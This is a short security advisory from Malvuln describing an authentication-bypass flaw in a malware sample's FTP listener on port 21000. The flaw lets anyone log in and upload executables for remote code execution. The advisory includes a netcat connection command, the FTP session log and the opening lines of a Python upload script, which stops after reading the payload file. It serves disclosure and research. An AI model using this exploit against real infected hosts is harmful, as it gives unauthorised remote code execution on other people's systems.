Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2021-0410
Dropped files: CFS.exe
nc64.exe x.x.x.x 21000
220 c400s FTP Server read...
331 Password required for malvuln.
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,125,194,155).
150 Opening data connection for DOOM-SM.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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